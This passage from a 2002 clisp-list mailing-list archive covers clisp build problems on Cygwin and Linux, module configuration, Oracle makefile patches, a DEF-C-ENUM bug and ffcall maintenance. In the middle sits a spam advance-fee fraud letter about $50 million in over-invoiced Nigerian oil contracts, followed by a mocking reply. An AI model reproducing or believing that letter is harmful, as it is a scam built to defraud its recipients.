cygwin. Cygwin (current) has version 1.8 of libiconv.
Currently, clisp is not compatible with this version.
Is this summary correct?
Is this a problem in libiconv or clisp?

alex

<snip>

> > So it is a binary incompatibility; sorry that
> should have been advertised
> > in libiconv 1.8's README.
> 
> I think now I know what happens. Cygwin didn't have
> EILSEQ until recently.
> But now it does. So when I compile clisp even with
> new iconv.h,
> EILSEQ is not redefined in my binaries, but it is
> redefined in iconv library.
> 
> I cannot build libiconv on cygwin by myself. It
> doesn't pass configure
> stage and I don't know much about that (configure,
> autoconf, libtool,
> m4 etc).

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Date: Fri Nov 22 05:51:03 2002
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Hello Alex,

Friday, November 22, 2002, 10:32:53 PM, you wrote:

> I'm wondering what this means for compiling clisp on
> cygwin. Cygwin (current) has version 1.8 of libiconv.
> Currently, clisp is not compatible with this version.
> Is this summary correct?
> Is this a problem in libiconv or clisp?

If I'm right, solution is to rebuild libiconv against new
cygwin headers (namely errno.h) and link clisp with it.
It will be still libiconv 1.8 I think.

>> I think now I know what happens. Cygwin didn't have
>> EILSEQ until recently.
>> But now it does. So when I compile clisp even with
>> new iconv.h,
>> EILSEQ is not redefined in my binaries, but it is
>> redefined in iconv library.

-- 
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Date: Fri Nov 22 12:03:39 2002
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Hi!

I'm out of town until Nov 30th.  Although I will
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Date: Fri Nov 22 13:18:05 2002
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I'm not sure this is a bug -- it may be a question of CL Spec 
interpretation.  Here's the bug data:

1. Platform: Windows 2000, SP2. Hardware is P4, 512M.
2-4. I'm using a binary distribution, clisp-2.30-win32.zip. I may be 
able to rebuild from sources, but would prefer to wait until this is 
confirmed as an error, rather than just a permissible CL spec 
interpretation.
5. lisp --version
GNU CLISP 2.30 (released 2002-09-15) (built 2002-09-15 11:22:41)
Features: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS 
GENERIC-STREAMS
 LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER SYSCALLS 
DIR-KEY PC386
 WIN32)
6. Example...

I did (setf bbna (merge-pathnames "I.NEX")) to get a pathname to an 
existing file.  Then

[10]> (with-open-file (foo bbna)
(format t "~%Current file position = ~A~%"
(file-position foo))
(format t "PEEK-CHAR gets ~C~%" (peek-char nil foo))
(format t "File position is now ~A~%" (file-position foo))
(format t "Second PEEK-CHAR gets ~C~%" (peek-char nil foo))
(format t " while making file position ~A~%"
(file-position foo)))

Current file position = 0
PEEK-CHAR gets i
File position is now 1
Second PEEK-CHAR gets i
 while making file position 1
NIL

I was expecting that the file position would remain 0 through both 
PEEK-CHAR calls.  The other CL
implementations I've tried (Allegro, Corman, and Lispworks) all keep 
file position at 0, but as I look
through the Hyperspec, it says that (PEEK-CHAR NIL ...) must keep the 
character in the buffer for subsequent operations, but doesn't 
explicitly require the file pointer to remain unchanged.

So, I don't know if this is really a bug, or just a permissible (though 
surprising to me) interpretation of
the spec.

Suggestions? Thanks!

bob bechtel




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Hi,

Friday, November 22, 2002, 11:51:23 PM, you wrote:

>> I'm wondering what this means for compiling clisp on
>> cygwin. Cygwin (current) has version 1.8 of libiconv.
>> Currently, clisp is not compatible with this version.
>> Is this summary correct?
>> Is this a problem in libiconv or clisp?

> If I'm right, solution is to rebuild libiconv against new
> cygwin headers (namely errno.h) and link clisp with it.
> It will be still libiconv 1.8 I think.

I just managed to rebuild libiconv (just learned to use patched
sources from cygwin) and problem has gone. Also I had to build
and install libsigsegv from its CVS - clisp didn't get build
without it.


-- 
Best regards,
 Arseny    




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From:  Dr Abdulahi  Musa..
Senior Accountant
CAPITAL PETROLUEM CORPORATION
NIGERIA.


Dear Sir,

           REQUEST FOR BUSINESS ASSISTANCE.

I am an accountant with the Capital Petroleum Corporation (CPC) and I
head a seven-man tenders board in charge of contract review and payment
approvals. I came to know of you in my search for a reliable and
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There were series of contracts executed by multinationals in the oil
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1.	The expansion of the pipeline network within Nigeria for crude oil downstream
products distribution and subsequent evacuation US$850Million.

2.	Contract for the turn around maintenance (TAM) of various
Refineries in the country - US$53Million.

3.	The construction of storage tanks for petroleum products
(Deposits)-US$50Million.

The original value of these contracts were deliberately over invoiced
to the tune of Fifty Million United States Dollars (US$50,000,000.00),
which has now been approved and is now ready to be paid out.
Although the contracts has been executed and the companies that ctually executed
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to transfer the total amount to your bank account for subsequent disbursement.
Since we as civil servants are not allowed to by the code of conduct bureau
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Needless to say, the trust reposed on me at this juncture is enormous.

In return, for the services you will render, we have agreed to offer
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funds, being 75% is to be for us.

Modalities have been worked out at the highest levels here in Nigeria
to enable us have a hitch free transfer of this funds within 14 working
days.

Let me assure you that your role in this transaction is risk free. To
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security of the funds, all approval procedures will be officially and legally
processed with your name or the name of any company you may nominate as the bona
fide beneficiary, to facilitate this transaction.

I will be giving you the details of the transaction on the receipt of
your response confirming your interest or otherwise via my secure above email
address or my telephone number: 234-803 3020224. I will be glad if you will
coperate by calling me immediately for more details.


Yours truly,

Dr Abdulahi  Musa.


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....
>
> The original value of these contracts were deliberately over invoiced
> to the tune of Fifty Million United States Dollars (US$50,000,000.00),
> which has now been approved and is now ready to be paid out.
> Although the contracts has been executed and the companies that ctually
executed
> these contracts have also been paid up in full, my colleagues and I are
willing
> to transfer the total amount to your bank account for subsequent
disbursement.
> Since we as civil servants are not allowed to by the code of conduct
bureau
> (civil service law) from opening /operating foreign accounts in our names.
> Needless to say, the trust reposed on me at this juncture is enormous.
>
> In return, for the services you will render, we have agreed to offer
> you 20% of the total sum, while 5% shall be set aside for incidental
> expenses between both parties in the course of this transaction. The rest
of the
> funds, being 75% is to be for us.

Hey Abdulahi!

Long time no hear.  I still have that first 37.5 million sitting in my
account.  Where should I send it?  Give me a good heads up, I can only get
500$/day out of the machine.

Yours truly,

Coby






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Hi!

I'm out of town until Nov 30th.  Although I will
occasionally be online, I may not be able to
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If you have a lab issues that requires immediate 
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While compiling clisp-2.30 on Linux 2.4.10-4GB (SuSE Linux 7.3) with:

   ./configure --prefix=/local/language/clisp --with-export-syscalls  --with-threads=POSIX_THREADS `cd modules ; for m in * ; do echo --with-module=$m ; done` --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/
   cd src
   ./makemake --with-dynamic-ffi  --prefix=/local/language/clisp --with-export-syscalls --with-threads=POSIX_THREADS --with-module=bindings --with-module=clx --with-module=oracle --with-module=postgresql632 --with-module=postgresql642 --with-module=queens --with-module=regexp --with-module=wildcard --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/   > Makefile
  make config.lisp
  make clean
  make

compilation ends with this error:

CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd bindings ; dots=`echo bindings/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -pthread -DUNICODE -DMULTITHREAD -DPOSIX_THREADS -DEXPORT_SYSCALLS -DDYNAMIC_FFI -DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}stdbool.h ${dots}libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -lreadline -lncurses  -ldl   -lm" RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/local/src/clisp-2.30/src/bindings'
make[1]: *** No rule to make target `clisp-module'.  Stop.
make[1]: Leaving directory `/local/src/clisp-2.30/src/bindings'
make: *** [bindings] Error 2

What should be done?

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> * In message <20021125180246.10BD0464BC@thalassa.informatimago.com>
> * On the subject of "[clisp-list] Compiling clisp-2.30: No rule to make target `clisp-module'"
> * Sent on Mon, 25 Nov 2002 19:02:46 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
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> While compiling clisp-2.30 on Linux 2.4.10-4GB (SuSE Linux 7.3) with:
> 
>    ./configure --prefix=/local/language/clisp --with-export-syscalls

so far - so good.

> --with-threads=POSIX_THREADS

not supported and probably does not work at all.

> `cd modules ; for m in * ; do echo --with-module=$m ; done`

huh?!!! did you try "ls modules"?
how do you expect amiga bindings to compile on your linux box?

> --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/

fine.

> make[1]: Entering directory `/local/src/clisp-2.30/src/bindings'
> make[1]: *** No rule to make target `clisp-module'.  Stop.
> make[1]: Leaving directory `/local/src/clisp-2.30/src/bindings'
> make: *** [bindings] Error 2

of course - there is no such module as "bindings"

> What should be done?

specify only the modules you will _really_ need.

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Should make-pathname support :type :unspecific ?

clisp-2.30 says:

*** - MAKE-PATHNAME: illegal :TYPE argument :UNSPECIFIC

But 

  http://www.lispworks.com/reference/HyperSpec/Body/26_glo_v.htm#valid_pathname_type

Says: 

  valid pathname type n. a string, nil, :wild, :unspecific.


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> * In message <87vg2lnvoz.fsf@thelonious.dyndns.org>
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> Should make-pathname support :type :unspecific ?
> 
> clisp-2.30 says:
> 
> *** - MAKE-PATHNAME: illegal :TYPE argument :UNSPECIFIC
> 
> But 
> 
>   http://www.lispworks.com/reference/HyperSpec/Body/26_glo_v.htm#valid_pathname_type
> 
> Says: 
> 
>   valid pathname type n. a string, nil, :wild, :unspecific.

what's the semantic difference between :UNSPECIFIC and NIL in this context?

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Sam Steingold writes:
> > * In message <20021125180246.10BD0464BC@thalassa.informatimago.com>
> > * On the subject of "[clisp-list] Compiling clisp-2.30: No rule to
> >    make target `clisp-module'"
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> >
> > While compiling clisp-2.30 on Linux 2.4.10-4GB (SuSE Linux 7.3) with:
> > 
> >    ./configure --prefix=/local/language/clisp --with-export-syscalls
> 
> so far - so good.
> 
> > --with-threads=POSIX_THREADS
> 
> not supported and probably does not work at all.

Well, I did not expect "[highly  experimental - use at your own risk]"
to mean that it would not even compile... :-)





> > `cd modules ; for m in * ; do echo --with-module=$m ; done`
> 
> huh?!!! did you try "ls modules"?
> how do you expect amiga bindings to compile on your linux box?
> [...]
> specify only the modules you will _really_ need.

Yes I did.  But I did not "ls modules/*"...

May I suggest to have a homegeneous directory structure here, and have
in the modules/ directory only module subdirectories?

Something like:

cd modules
( cd bindings ; for f in * ; do mv $f ../bindings-$f ; done ) ; rmdir bindings
( cd clx ; for f in * ; do mv $f ../clx-$f ; done ) ; rmdir clx
mv clx-clx-manual.tar.gz clx-manual.tar.gz
mv clx-new-clx/Makefile.in clx-new-clx/Makefile.in.old
sed -e 's-../../-../-g' < clx-new-clx/Makefile.in.old > clx-new-clx/Makefile.in


Or alternatively,  have a  little note somewhere  about the  fact that
modules should be found deeply.  Perhaps in configure, since I infered
(cd modules ; for f in * ; ... ) from:

         --with-module=MODULE  build with add-on MODULE
                               this requires dynamic FFI and will turn it on
                               if the FFI checks pass
-->
         --with-module=MODULE  build with add-on MODULE, name of directory,
                               or one of the mutually exclusive
                               directory/subdirectory, in ./modules/
                               This requires dynamic FFI and will turn it on
                               if the FFI checks pass








Ok, now, compiling with:

  tar zxvf /local/ftp/pub/ftp.gnu.org/gnu/clisp/source/2.30/clisp-2.30.tar.gz 
  cd clisp-2.30/ 
  ./configure --prefix=/local/language/clisp --with-export-syscalls `cd modules ; for m in bindings/linuxlibc6 clx/new-clx oracle postgresql642 queens regexp wildcard ; do echo --with-module=$m ; done` --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/  
  cd src
  ./makemake --with-dynamic-ffi  --prefix=/local/language/clisp --with-export-syscalls --with-module=bindings/linuxlibc6 --with-module=clx/new-clx --with-module=oracle --with-module=postgresql642 --with-module=queens --with-module=regexp --with-module=wildcard --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/   > Makefile
  make config.lisp
  cp ../../clisp-pjb-config.lisp config.lisp 
  make


I get this:


make[1]: Entering directory `/local/src/clisp-2.30/src/oracle'
Makefile:28: *** missing separator (did you mean TAB instead of 8 spaces?).  Stop.
make[1]: Leaving directory `/local/src/clisp-2.30/src/oracle'
make: *** [oracle] Error 2


May I suggest:

    mv modules/oracle/Makefile.in modules/oracle/Makefile.in.old
    sed -e 's/^  */^/' < modules/oracle/Makefile.in.old \
    | tr '^' '\011' > modules/oracle/Makefile.in


Oracle distributions are rather chaotic.  In my 8.0.5, I have nzt.h in
network/public, not in rdbms/public.  My ociextp.h is in plsql/public.
And several libraries are missing.

To be able to compile --with-module=oracle, I need to do these patches:

cd modules/oracle
patch -p0 <<'EOF'
--- link.sh        Tue Nov 26 00:38:41 2002
+++ link.sh.pjb     Tue Nov 26 00:40:57 2002
@@ -9,7 +9,7 @@
 
 # Get additional libs for Oracle client.  This may be
 # system specific and require some tweaking.
-NEW_LIBS="oracle.o oiface.o orafns.o -L ${ORACLE_HOME}/lib -lclntsh -ldl -lpthread -lm"
+NEW_LIBS="oracle.o oiface.o orafns.o -L ${ORACLE_HOME}/lib -lclntsh -lcommon -lcore4 -lnlsrtl3 -ldl -lpthread -lm "
 
 NEW_MODULES="oracle"
 TO_LOAD="oracle"
--- Makefile.in	Mon Nov 25 22:12:07 2002
+++ Makefile.in.pjb	Mon Nov 25 22:12:45 2002
@@ -3,13 +3,9 @@
 #
 # $Id
 
-# This will come from the environment
-ORACLE_HOME = /usr/local/oracle
-
 CC = @CC@
 CFLAGS = @CFLAGS@
-
-ORA_INCLUDES = -I.. -I ${ORACLE_HOME}/rdbms/demo -I ${ORACLE_HOME}/rdbms/public
+MY_INCLUDES = -I..
 
 # CLISP = clisp
 
@@ -22,19 +18,26 @@
 DISTRIBFILES = oracle.o orafns.o oiface.o link.sh Makefile oracle.lisp
 distribdir =
 
-all : orafns.o oracle.o oiface.o
+all : check_ora_include orafns.o oracle.o oiface.o
+
+check_ora_include:
+	@if [ -z "$(ORA_INCLUDES)" ] ; then \
+		echo "Please define ORA_INCLUDES in the environment with -I options " ;\
+		echo "indicating the oracle include directories." ;\
+		exit 1 ;\
+	fi
 
 oracle.c:       oracle.lisp
 	$(CLISP) -c oracle.lisp
 
 oracle.o:       oracle.c
-	$(CC) $(CFLAGS) $(INCLUDES) $(ORA_INCLUDES) -c oracle.c
+	$(CC) $(CFLAGS) $(INCLUDES) $(MY_INCLUDES) $(ORA_INCLUDES) -c oracle.c
 
 orafns.o:       orafns.c oiface.h
-	$(CC) $(CFLAGS) $(INCLUDES) $(ORA_INCLUDES) -c orafns.c
+	$(CC) $(CFLAGS) $(INCLUDES) $(MY_INCLUDES) $(ORA_INCLUDES) -c orafns.c
 
 oiface.o:       oiface.c oiface.h
-	$(CC) $(CFLAGS) $(INCLUDES) $(ORA_INCLUDES) -c oiface.c
+	$(CC) $(CFLAGS) $(INCLUDES) $(MY_INCLUDES) $(ORA_INCLUDES) -c oiface.c
 
 # Make a module
 clisp-module : all
EOF







When I use --with-module=postgresql642  I get this error:

full/lisp.run -B . -M full/lispinit.mem -norc -q -i bindings/linuxlibc6/linux bindings/linuxlibc6/wrap clx/new-clx/clx clx/new-clx/image oracle/oracle postgresql642/postgresql regexp/regexp wildcard/wildcard -x (saveinitmem "full/lispinit.mem")
;; Loading file /local/src/clisp-2.30/src/bindings/linuxlibc6/linux.fas ...
WARNING:
(COMMON-LISP:DEFCONSTANT NGROUPS_MAX _POSIX_NGROUPS_MAX) redefines the constant NGROUPS_MAX. Its old value was 32.
;; Loaded file /local/src/clisp-2.30/src/bindings/linuxlibc6/linux.fas
;; Loading file /local/src/clisp-2.30/src/bindings/linuxlibc6/wrap.fas ...
;; Loaded file /local/src/clisp-2.30/src/bindings/linuxlibc6/wrap.fas
;; Loading file /local/src/clisp-2.30/src/clx/new-clx/clx.fas ...
;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/clx.fas
;; Loading file /local/src/clisp-2.30/src/clx/new-clx/image.fas ...
;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/image.fas
;; Loading file /local/src/clisp-2.30/src/oracle/oracle.fas ...
;; Loaded file /local/src/clisp-2.30/src/oracle/oracle.fas
;; Loading file /local/src/clisp-2.30/src/postgresql642/postgresql.fas ...
*** - Incomplete FFI type ConnStatusType is not allowed here.

Actually I have postgresql 7.1.3.  Perhaps that's the reason why I get
this error?




So, finally, I can compile with:

./configure --prefix=/local/language/clisp --with-export-syscalls `cd modules ; for m in bindings/linuxlibc6  clx/new-clx oracle  queens regexp wildcard ; do echo --with-module=$m ; done` --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/  

and successfully make check.




Note: latest CVS checkout does not compile, missing a lot of symbols.

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I'm trying to use/compile clue+clio+xit.clisp.tar.gz with clisp-2.30.

Is  there any  clue+clio+xit  more  up-to-date than  that  I found  on
ftp://ftp.gnu.org/gnu/clisp/packages/  or  the  various  mirrors  like
ftp://cvs2.cons.org/pub/lisp/clisp/packages ?

Because these  packages seem  very old. For  example, the  Makefile of
clue+clio+xit.clisp.tar.gz refers to a  ../../clx.mem while clx is now
"integrated" with clisp  and can be used with -K  full, and besides, I
get these errors:

[...]
Deleted file /local/src/clue+clio+xit/clue/clx-patch.fas
There were errors in the following functions:
 XLIB:CREATE-WINDOW
The following functions were used but not defined:
 XLIB::MAKE-WINDOW XLIB::ALLOCATE-RESOURCE-ID (SETF XLIB:WINDOW-ID)
 XLIB::TYPE? XLIB::X-TYPE-ERROR XLIB::ENCODE-DEVICE-EVENT-MASK
 XLIB::WITH-BUFFER-REQUEST XLIB:DISPLAY XLIB::DATA XLIB:WINDOW
 XLIB:INT16 XLIB:CARD16 XLIB:RESOURCE-ID XLIB::MASK XLIB:CARD32
The following special variables were not defined:
 XLIB::*X-CREATEWINDOW*
7 errors, 9 warnings
; Loading   clx-patch.fas
*** - A file with name clx-patch.fas does not exist
make: *** [compile-clue] Error 1
make: Target `all' not remade because of errors.

Compilation exited abnormally with code 2 at Tue Nov 26 04:17:45


Actually, I'm going  a little blind in there,  I corrected these lines
in the Makefile:

	clisp -q -c defsystem
-->	clisp -q -c defsystem.lsp

	clisp -M ../../clx.mem -m 5MB -q -x $(INIT)' (compile-clue)'
-->	clisp -K full -m 5MB -q -x $(INIT)' (compile-clue)'

	clisp -M ../../clx.mem -m 5MB -q -x $(INIT)' (load-clue) (saveinitmem)'
-->	clisp -K full -m 5MB -q -x $(INIT)' (load-clue) (saveinitmem)'


And added these lines to defsystem.lsp:

(in-package "USER")
(defpackage "CLUE")
(defpackage "CLUEI")




Seeing the  dates in  clisp/packages, it seems  like nothing  more has
been done in Lisp for ten years... :-(

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Hi,

For completeness, the below message from "./configure" is wrong. I =
consider it more to be describing a limitation of configure's =
--with-module extension or the clisp-link sh script.

The truth is that modules are a lower-level entity than the FFI. You =
can create and link modules without -DDYNAMIC_FFI.

Examples: the Amiga AFFI module and probably also Dan Stanger's GDI =
module. All modules written by hand as in my cookbook. FOREIGN-POINTER =
objects are available in CLISP without DYNAMIC_FFI.

It's the FFI that may use CLISP's module system, not the other way =
round.
E.g., compilation of DEF-CALL-IN/OUT forms generates C code as a =
side-effect. The emitted C code depends on CLISP's external module =
system.

Example: the regexp module and probably all the rest.

The FFI must not necessarily use the module system: with dynamic or =
shared libraries (the day they get into CLISP), you would not need C =
code anymore if you like.

     FFI
      | \
      |  modules
      |   |
      CLISP

This also means that the day CLISP will have dynamic libraries, the =
configure script will have to distinguish "link modules" (with =
Lisp->C->link+image) from "modules" (or packages?) which would be =
entities that can be loaded and activated on demand, without requiring =
relinking (like any other .lisp/.fas files). A priori, the modules/ =
subdirectory could contain both of them.


The quoted text below should say no more than:

The modules/ subdirectory contains external CLISP modules. On UNIX, =
modules can be linked to CLISP using the clisp-link shell script. This =
is what configure --with-module=3DX will prepare. Modules using =
DEF-CALL-IN/OUT forms depend on the FFI.

It is a limitation of the configure [and clisp-link?] script that using =
--with-module=3DX turns on --with-dynamic-ffi [but who would build =
CLISP without it except for testing?]


Pascal Bourguignon a =E9crit:
>Or alternatively,  have a  little note somewhere  about the  fact that
>modules should be found deeply.  Perhaps in configure, since I infered
>(cd modules ; for f in * ; ... ) from:
>
>         --with-module=3DMODULE  build with add-on MODULE
>                               this requires dynamic FFI and will turn =
it on
>                               if the FFI checks pass
>-->
>         --with-module=3DMODULE  build with add-on MODULE, name of =
directory,
>                               or one of the mutually exclusive
>                               directory/subdirectory, in ./modules/
>                               This requires dynamic FFI and will turn =
it on
>                               if the FFI checks pass
What's mutually exclusive? Postgres 6.x and 6.y? Why? Incompatible link =
libraries?

Thanks for trying to compile as much modules as possible and reporting.

Regards,
	J=F6rg H=F6hle.


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Hoehle, Joerg-Cyril writes:
> Hi,
> 
> For completeness, the below message from "./configure" is wrong. I
> consider it more to be describing a limitation of configure's
> --with-module extension or the clisp-link sh script.
> [...] 
> The quoted text below should say no more than:
> 
> The modules/ subdirectory contains external CLISP modules. On UNIX,
> modules can be linked to CLISP using the clisp-link shell script. This
> is what configure --with-module=X will prepare. Modules using
> DEF-CALL-IN/OUT forms depend on the FFI.
> 
> It is a limitation of the configure [and clisp-link?] script that
> using --with-module=X turns on --with-dynamic-ffi [but who would
> build CLISP without it except for testing?]
> 
> 
> Pascal Bourguignon a écrit:
> >Or alternatively,  have a  little note somewhere  about the  fact that
> >modules should be found deeply.  Perhaps in configure, since I infered
> >(cd modules ; for f in * ; ... ) from:
> >
> >         --with-module=MODULE  build with add-on MODULE
> >                               this requires dynamic FFI and will turn it on
> >                               if the FFI checks pass
> >-->
> >         --with-module=MODULE  build with add-on MODULE, name of directory,
> >                               or one of the mutually exclusive
> >                               directory/subdirectory, in ./modules/
> >                               This requires dynamic FFI and will turn it on
> >                               if the FFI checks pass
> 
> What's mutually exclusive? Postgres 6.x and 6.y? Why? Incompatible
> link libraries?

Perhaps, the fact that both modules export the same SQL package?

Or   the  same   LINUX   and  LINUX-AUX   packages   defined  by   the
bindings/linuxlibc* modules?

Granted, one perhaps  could compile all of them at  once, but we could
not build a system  with all of them.

The point is  that a naive user cannot  blindly configure and compile.
Perhaps it should be added in  the link.sh scripts tests to see if the
module can  be compiled for the  current target (or this  could be the
job  of  configure),  so  amigaos  would not  include  itself  to  the
compilation when  the amigaos libraries  are not available, and  so on
for the  linuxlibcs.  Thus, the  right bindings for the  target system
could be selected automatically.


> Thanks for trying to compile as much modules as possible and reporting.

Thanks for providing us with these modules! 
 
> Regards,
> 	Jörg Höhle.



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Hoehle, Joerg-Cyril writes:
> Hi,
>
> For completeness, the below message from "./configure" is wrong. I
> consider it more to be describing a limitation of configure's
> --with-module extension or the clisp-link sh script.
>
> The truth is that modules are a lower-level entity than the FFI. You
> can create and link modules without -DDYNAMIC_FFI.
>
> Examples: the Amiga AFFI module and probably also Dan Stanger's GDI
> module. All modules written by hand as in my cookbook. FOREIGN-POINTER
> objects are available in CLISP without DYNAMIC_FFI.
>
> It's the FFI that may use CLISP's module system, not the other way
> round.  E.g., compilation of DEF-CALL-IN/OUT forms generates C code as
> a side-effect. The emitted C code depends on CLISP's external module
> system.
>
> Example: the regexp module and probably all the rest.
>
> The FFI must not necessarily use the module system: with dynamic or
> shared libraries (the day they get into CLISP), you would not need C
> code anymore if you like.
>
>      FFI
>       | \
>       |  modules
>       |   |
>       CLISP

I guess you mean this diagram:

             +---------------------+   +-------------+
             |    some modules     |   | some other  |
             | like postgresql642  |   |  modules    |
             +---------------------+   +-------------+
                  |       |                  |
              +---+       |                  |
              |           |                  |
              v           |                  |
           +-----+        |                  |
           | FFI |        |                  |
           +-----+        |   +--------------+
             | |          |   |
             | +------+   |   |
             |        |   |   |
             |        v   v   v
             |  +----------------+
             |  | module-system  |
             |  +----------------+
             |        |
             |        |
             v        v
          +---------------+
          |     CLISP     |
          +---------------+


because regarding this dependency on FFI, it seems that it's a problem
of dependency (configure? makefiles?) that makes it fail with:

full/lisp.run -B . -M full/lispinit.mem -norc -q -i clx/new-clx/clx clx/new-clx/image oracle/oracle postgresql642/postgresql bindings/linuxlibc6/linux bindings/linuxlibc6/wrap regexp/regexp wildcard/wildcard -x (saveinitmem "full/lispinit.mem")
;; Loading file /local/src/clisp-2.30/src/clx/new-clx/clx.fas ...
;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/clx.fas
;; Loading file /local/src/clisp-2.30/src/clx/new-clx/image.fas ...
;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/image.fas
;; Loading file /local/src/clisp-2.30/src/oracle/oracle.fas ...
;; Loaded file /local/src/clisp-2.30/src/oracle/oracle.fas
;; Loading file /local/src/clisp-2.30/src/postgresql642/postgresql.fas ...
*** - Incomplete FFI type ConnStatusType is not allowed here.
[1]>


when I configure and compile  with postgresql642 at once, because when
I did:

  - configure all modules I can but postgresql642, and compile ok,
  - then in the same build tree, I configure anew with only postgresql642,
  - and then compile it, it succeeded.

So, it seems that postgresql642 needs  FFI, but FFI is not compiled or
integrated  before postgresql642.  I need  to  configure/compile first
without it, and once again with it. See attached script.


Also, it's surprizing that when  you re-configure with a different set
of modules, those  that are not configured in the  later run are still
included (just because their object files are still there).  We'd need
at least a Makefile with a distclean target at top level...


> This also means that the day CLISP will have dynamic libraries, the
> configure script will have to distinguish "link modules" (with
> Lisp->C->link+image) from "modules" (or packages?) which would be
> entities that can be loaded and activated on demand, without requiring
> relinking (like any other .lisp/.fas files). A priori, the modules/
> subdirectory could contain both of them.

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Pascal Bourguignon writes:

>So, it seems that postgresql642 needs  FFI, but FFI is not compiled or
>integrated  before postgresql642.
I doubt FFI is not included in any typical build of CLISP.

>;; Loading file /local/src/clisp-2.30/src/postgresql642/postgresql.fas =
...
>*** - Incomplete FFI type ConnStatusType is not allowed here.
It looks like a problem when loading a .fas file without loading the =
.lisp file.
This hints to a macroexpansion or EVAL-WHEN problem.

I believe you found a bug in DEF-C-ENUM:
(def-c-enum ConnStatusType CONNECTION_OK CONNECTION_BAD)

DEF-C-ENUM ought to produce some
  (EVAL-WHEN (LOAD COMPILE EVAL)
     (SETF (gethash ',name *c-type-table*) 'int) )

like DEF-C-TYPE does (via ffi::parse-c-type).

Currently, it only binds the type to the name as a side-effect of =
macroexpansion. No wonder it doesn't work with just a .fas file.

Here's how to patch (untested)
(defmacro DEF-C-ENUM (&whole whole name &rest items)
 ...; from my CLISP 2.28
      (push `(DEFCONSTANT ,item ,next-value) forms)
      (setq next-value `(1+ ,item)))
    `(PROGN ,@(nreverse forms)
       (DEF-C-TYPE ,name INT))))
; def-c-type is overkill, but it's regular (no short-circuit =
optimization)
; and does the right thing:
; (setf (gethash name *c-type-table*) 'int) in all relevant contexts.


>Also, it's surprizing that when  you re-configure with a different set
>of modules, those  that are not configured in the  later run are still
>included (just because their object files are still there).

I believe what is needed is documentation on what the link kit should =
do in the presence of multiple reconfigures (if allowed) and about =
successively building and linking modules.
I cannot help here (Kaz?), I never used the clisp-link script nor tried =
to understand it (script and concept).

Regards,
	J=F6rg H=F6hle.


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On Tue, 26 Nov 2002 04:33:58 +0100 (CET), Pascal Bourguignon wrote:

> Is  there any  clue+clio+xit  more  up-to-date than  that  I found  on
> ftp://ftp.gnu.org/gnu/clisp/packages/  or  the  various  mirrors  like
> ftp://cvs2.cons.org/pub/lisp/clisp/packages ?

Peter Van Eynde is maintaining CLUE, CLIO and XIT as part of CLOCC:

  http://clocc.sourceforge.net

As far as I know, his code works at least under CMU CL. But it may be
easier for you to start with a more up to date source tree.


> Seeing the  dates in  clisp/packages, it seems  like nothing  more has
> been done in Lisp for ten years... :-(

Things in the Lisp community tend to happen behind the scenes ;-)


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Greetings CLISP users, I apologize if this is an inappropriate forum
for this question; however, there seems to be no separate ffcall list.

I inquired on the DotGNU developers mailing list about using ffcall
instead of the libffi from the GCC tree for the Portable .NET project,
and here is his reply:

 > It appears that the most recent version of ffcall, 1.8, dates back
 > to January 2001.  Whereas libffi is part of the gcc tree, and has
 > the possibility of being actively maintained by the gcc community.
 >
 > While ffcall seems to be more complete, I would feel happier if
 > there was active maintainence of the project.

I will point him to the CLISP tree on Savannah.  However, I'd like a
more canonical point to stand on: does ffcall meet the requirement of
"active maintenance"?

Please cross-post replies to developers@dotgnu.org .

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> * In message <3DE3F9FB.7090105@sigecom.net>
> * On the subject of "[clisp-list] status of ffcall"
> * Sent on Tue, 26 Nov 2002 16:47:23 -0600
> * Honorable Stephen Compall <rushing@sigecom.net> writes:
>
> I inquired on the DotGNU developers mailing list about using ffcall
> instead of the libffi from the GCC tree for the Portable .NET project,
> and here is his reply:
> 
>  > It appears that the most recent version of ffcall, 1.8, dates back
>  > to January 2001.  Whereas libffi is part of the gcc tree, and has
>  > the possibility of being actively maintained by the gcc community.
>  >
>  > While ffcall seems to be more complete, I would feel happier if
>  > there was active maintainence of the project.
> 
> I will point him to the CLISP tree on Savannah.

FFCALL's source tree is hosted on SourceForge.

> However, I'd like a more canonical point to stand on: does ffcall meet
> the requirement of "active maintenance"?

FFCALL is distributed with CLISP and is used by CLISP's FFI.
It has been ported to many platforms (most recently to IBM s/390 by
Gerhard Tonn on 2002-03-24 and to HP-UX assembler by LaMont Jones on
2002-07-01).

The author of FFCALL, Bruno Haible, is the ultimate authority on the
status of FFCALL.

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On Tuesday 26 November 2002 11:56 pm, Sam Steingold wrote:

> FFCALL is distributed with CLISP and is used by CLISP's FFI.
> It has been ported to many platforms (most recently to IBM s/390 by
> Gerhard Tonn on 2002-03-24 and to HP-UX assembler by LaMont Jones on
> 2002-07-01).

It should be noted that ffcall does not work on the following Linux arches:

arm - assembler syntax is wrong?
hppa - needs rewrite for Linux ABI
mipsel - may just need a recompile



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hello,

where can I find a comprehensive list of the extensions, bindings to
external libs (like postgres, gtk, ...) available for CLISP.

If I want to make a GUI using CLISP on windows, any suggestions?

thanks a lot,

Stan.


